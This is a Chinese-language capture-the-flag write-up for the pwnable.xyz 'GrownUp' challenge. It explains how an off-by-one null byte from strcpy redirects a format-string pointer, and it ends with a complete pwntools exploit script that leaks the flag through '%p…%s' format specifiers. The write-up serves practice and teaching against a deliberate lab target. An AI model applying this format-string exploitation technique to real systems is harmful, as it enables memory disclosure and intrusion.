pwnable.xyz GrownUp

一道格式化字符串漏洞题

寻找漏洞

题目如下

题目

可能溢出的地方有两个:

  • read函数,但是src申请的空间是0x84读入数据限制在了0x80,没有发生溢出。
  • 另一个是strcpy,又观察到下面有一个格式化字符串漏洞,那么就应该是利用这里了

寻找利用方法

现在查看strcpy是否能让usr覆盖掉格式化字符串

查看偏移

发现偏移正好是0x80,导致我们无法直接覆盖掉格式化字符串。然后我就感觉。。。。。这个程序明明天衣无缝,根本没有漏洞。

围绕已知漏洞看看是不是漏掉了什么

先看看字符串里有没有什么信息

字符串

好的,发现只要泄露这个地址的字符串就可以拿到flag

然后仔细想一下,其实read函数接受0x80个字符是不包括\0的,然后strcpy复制过后会自动为字符串末尾加上\0。这样就可以覆盖掉 qword_601160 这个地址的后两位。这样格式化字符串的地址就改变到了我们可以控制的位置。其实这就是off-by-one的思想,前几天接触堆的时候看见过不过没有深入。

总结

其实这道题的知识点是都会的,就是以前做的栈题都是动辄覆盖返回地址,这道题只溢出了一个字符便没有引起自己足够的重视。下面是这道题的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
#sh = process('./GrownUpRedist')
sh = remote('svc.pwnable.xyz',30004)

flag = 0x601080
payload = 'y' + 'A'*7 + p64(flag)

sh.recvuntil('Are you 18 years or older? [y/N]: ')
sh.send(payload)

format_string = '%p %p %p %p %p %p %p %p %s %p %p %p'
payload = ''
payload += 'A' * 32 + format_string + 'A'*(0x80 - len(format_string))
sh.recvuntil("Name: ")
sh.send(payload)

print sh.recvall()
-------------本文结束感谢您的阅读-------------
+ +